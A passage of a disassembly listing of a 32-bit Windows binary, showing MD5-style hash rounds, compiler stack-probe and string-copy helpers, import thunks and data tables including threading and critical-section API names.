		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424626
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424626
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424626
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424626
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424626
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424626
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424626
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424626
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424626
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424626
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424626
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424626
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424626
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424633
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424633
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424633
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424633
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424633
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424633
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424633
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424633
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424633
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424633
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424633
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424633
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424633
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424633
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424633
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424633
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_42463A
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_42463A
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_42463A
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_42463A
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_42463A
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_42463A
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_42463A
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_42463A
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_42463A
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_42463A
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_42463A
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_42463A
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_42463A
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_42463A
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_42463A
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_42463A
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, ds:10013A0Ch
		add	[edi], eax
		mov	eax, ds:10013A10h
		add	[edi+4], eax
		mov	eax, ds:10013A14h
		add	[edi+8], eax
		mov	eax, ds:10013A18h
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_42466A	endp


; =============== S U B	R O U T	I N E =======================================



sub_424EB5	proc near		; CODE XREF: sub_424ED2+1Ep

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_424EB6:				; CODE XREF: sub_424EB5+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_424EB6
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		push	ecx
		retn
sub_424EB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_424ED2	proc near		; CODE XREF: sub_41DCB0+38p

arg_0		= dword	ptr  4

		pop	ecx
		pop	eax
		add	eax, 3
		shr	eax, 2
		shl	eax, 2
		cmp	eax, 1000h
		jl	short loc_424F02
		mov	edx, esp
		push	eax
		fild	[esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		fild	[esp-4+arg_0]
		call	sub_424EB5
		mov	esp, edx
		push	edx
		fistp	dword ptr [esp+0]
		mov	ecx, [esp+0]
		fistp	dword ptr [esp+0]
		pop	eax


loc_424F02:				; CODE XREF: sub_424ED2+10j
		sub	esp, eax
		mov	eax, esp
		mov	dword ptr [eax], 0
		push	ecx
		push	ecx
		retn
sub_424ED2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		dd 40C03100h, 0CC2h, 3CD95000h,	24048B24h, 2434BA0Fh, 0C816608h
		db 24h,	0, 2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F3C


loc_424F2B:				; CODE XREF: sub_424F3C+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_424F3C
; ---------------------------------------------------------------------------
		db 50h,	0D9h, 3Ch
		dd 0F3EB5824h

; =============== S U B	R O U T	I N E =======================================



sub_424F3C	proc near		; CODE XREF: .data:loc_41A5B4p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424F2B SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_424F2B
sub_424F3C	endp

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_424F4D	proc near		; CODE XREF: sub_41B66D+8p
					; sub_41BB8D+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_424F4E:				; CODE XREF: sub_424F4D+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_424F4E
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_424F4D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_424F6D	proc near		; CODE XREF: .data:0041AED7p
					; .data:0041AEEAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_424F6D	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0AC25FF00h, 90100140h, 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_424FA5	proc near		; CODE XREF: sub_41A669+10p
		jmp	dword ptr ds:100140B0h
sub_424FA5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_424FB1	proc near		; CODE XREF: sub_41A48D+13p
		jmp	dword ptr ds:100140B4h
sub_424FB1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_424FBD	proc near		; CODE XREF: sub_41A5D0+33p
					; sub_41A5D0+45p ...
		jmp	dword ptr ds:100140C0h
sub_424FBD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_424FC9	proc near		; CODE XREF: sub_41A5D0+Bp
					; sub_41A5D0+17p ...
		jmp	dword ptr ds:100140C4h
sub_424FC9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h,	0C825FF00h, 90100140h, 90h, 0CC25FF00h,	90100140h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_424FED	proc near		; CODE XREF: sub_41A669+4Ep
					; sub_41A669+87p
		jmp	dword ptr ds:100140D0h
sub_424FED	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_424FF9	proc near		; CODE XREF: .data:0041A593p
		jmp	dword ptr ds:100140D4h
sub_424FF9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_425005	proc near		; CODE XREF: sub_41A5D0+71p
					; sub_41A5D0+86p
		jmp	dword ptr ds:100140D8h
sub_425005	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_425011	proc near		; CODE XREF: sub_41A669+9Ep
		jmp	dword ptr ds:100140DCh
sub_425011	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h,	7Ch dup(0)
		dd 0BB0400h, 10h, 4 dup(0)
		dd 732500h, 72007700h, 1Ch dup(0)
		dd 100h, 600h, 700h, 800h, 400h, 200h, 2 dup(300h), 2 dup(800h)
		dd 400h, 900h, 100h, 400h, 700h, 100h, 0
		dd 100h, 500h, 600h, 0
		dd 200h, 2 dup(500h), 400h, 900h, 200h,	700h, 900h, 300h
		dd 0
		dd 700h, 400h, 200h, 100h, 300h, 200h, 100h, 0
		dd 500h, 0
		dd 300h, 800h, 200h, 800h, 500h, 300h, 600h, 500h, 800h
		dd 0
		dd 400h, 800h, 0
		dd 800h, 400h, 800h, 900h, 300h, 3 dup(600h), 0
		dd 100h, 300h, 0
		dd 800h, 2 dup(600h), 2	dup(0)
		dd 400h, 0
		dd 100h, 300h, 600h, 300h, 500h, 200h, 400h, 0Bh dup(0)
		dd 1385700h, 0E86010h, 61000000h, 0E9h,	0
		dd 1100h, 0Fh dup(0)
		db    0
		db 0A5h, 0EEh, 0F7h
		db 0E1h	; 
		db 2Ch,	7Eh, 0FDh
		db 0BFh	; 
		db 7Fh,	0E8h, 9Ah
		db  86h	; 
		db 82h,	40h, 24h
		db 0CCh	; 
		db 0E2h, 0DDh, 6Ah
		db 0D7h	; 
		db 2 dup(0E1h),	77h
		db  1Bh
		db 0B0h, 15h, 52h
		db  50h	; P
		db 56h,	64h, 4Bh
		db 0D2h	; 
		db 6Bh,	7Ch, 35h
		db  3Dh	; =
		db 0D5h, 85h, 0Eh
		db  28h	; (
		db 0F9h, 51h, 0B0h
		db  1Ah
		db 44h,	87h, 4Eh
		db  1Eh
		db 0DFh, 0CCh, 83h
		db 0E3h	; 
		db 37h,	47h, 3Dh
		db  32h	; 2
		db 18h,	5, 0F8h
		db  14h
		db 0BFh, 37h, 6
		db  6Eh	; n
		align 10h
		db    0
		db 0E0h, 70h, 0
		db  10h
		db 82h,	1Ah, 0
		db  10h
		db 0A6h, 4Dh, 0
		db  10h
		db 18h,	80h, 0
		db  10h
		db 0A4h, 4Ah, 0
		db  10h
		db 0FEh, 72h, 0
		db  10h
		db 0Ah,	54h, 0
		db  10h
		align 10h
		db    0
		db 0C2h, 30h, 0
		db  10h
		db 24h,	13h, 0
		db  10h
		db 0Ah,	72h, 0
		db  10h
		db 0B9h, 94h, 0
		db  10h
		db 7Ah,	21h, 0
		db  10h
		db 49h,	5Ah, 0
		db  10h
		db 0A3h, 95h, 0
		db  10h
		db 0B4h, 22h, 1
		db  10h
		align 4
		db    0
		db 6Ch,	0A8h, 0
		db  10h
		db 3Dh,	31h, 0
		db  10h
		db 74h,	48h, 0
		db  10h
		db 5Dh,	0A5h, 0
		db  10h
		db 78h,	27h, 0
		db  10h
		db 98h,	5Eh, 0
		db  10h
		db 24h,	73h, 0
		db  10h
		db 0D8h, 22h, 1
		db  10h
aCreatethread_1	db 'CreateThread',0
aEntercritica_0	db 'EnterCriticalSection',0
aInitializecr_0	db 'InitializeCriticalSection',0
aLeavecritica_0	db 'LeaveCriticalSection',0
		align 4
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3Eh,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3Fh,	2 dup(0)
		db    0
		db 34h,	2 dup(0)
		db    0
		db 35h,	2 dup(0)
		db    0
		db 36h,	2 dup(0)
		db    0
		db 37h,	2 dup(0)
		db    0
		db 38h,	2 dup(0)
		db    0
		db 39h,	2 dup(0)
		db    0
		db 3Ah,	2 dup(0)
		db    0
		db 3Bh,	2 dup(0)
		db    0
		db 3Ch,	2 dup(0)
		db    0
		db 3Dh,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		align 10h
		db    0
		db 1, 2	dup(0)
		db    0
		db 2, 2	dup(0)
		db    0
		db 3, 2	dup(0)
		db    0
		db 4, 2	dup(0)
		db    0
		db 5, 2	dup(0)
		db    0
		db 6, 2	dup(0)
		db    0
		db 7, 2	dup(0)
		db    0
		db 8, 2	dup(0)
		db    0
		db 9, 2	dup(0)
		db    0
		db 0Ah,	2 dup(0)
		db    0
		db 0Bh,	2 dup(0)
		db    0
		db 0Ch,	2 dup(0)
		db    0
		db 0Dh,	2 dup(0)
		db    0
		db 0Eh,	2 dup(0)
		db    0
		db 0Fh,	2 dup(0)
		db    0
		db 10h,	2 dup(0)
		db    0
		db 11h,	2 dup(0)
		db    0
		db 12h,	2 dup(0)
		db    0
		db 13h,	2 dup(0)
		db    0
		db 14h,	2 dup(0)
		db    0
		db 15h,	2 dup(0)
		db    0
		db 16h,	2 dup(0)
		db    0
		db 17h,	2 dup(0)
		db    0
		db 18h,	2 dup(0)
		db    0
		db 19h,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 1Ah,	2 dup(0)
		db    0
		db 1Bh,	2 dup(0)
		db    0
		db 1Ch,	2 dup(0)
		db    0
		db 1Dh,	2 dup(0)
		db    0
		db 1Eh,	2 dup(0)
		db    0
		db 1Fh,	2 dup(0)
		db    0
		db 20h,	2 dup(0)
		db    0
		db 21h,	2 dup(0)
		db    0
		db 22h,	2 dup(0)
		db    0
		db 23h,	2 dup(0)
		db    0
		db 24h,	2 dup(0)
		db    0
		db 25h,	2 dup(0)
		db    0
		db 26h,	2 dup(0)
		db    0
		db 27h,	2 dup(0)
		db    0
		db 28h,	2 dup(0)
		db    0
		db 29h,	2 dup(0)
		db    0
		db 2Ah,	2 dup(0)
		db    0
		db 2Bh,	2 dup(0)
		db    0
		db 2Ch,	2 dup(0)
		db    0
		db 2Dh,	2 dup(0)
		db    0
		db 2Eh,	2 dup(0)
		db    0
		db 2Fh,	2 dup(0)
		db    0
		db 30h,	2 dup(0)
		db    0
		db 31h,	2 dup(0)
		db    0
		db 32h,	2 dup(0)
		db    0
		db 33h,	2 dup(0)
		db    0
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
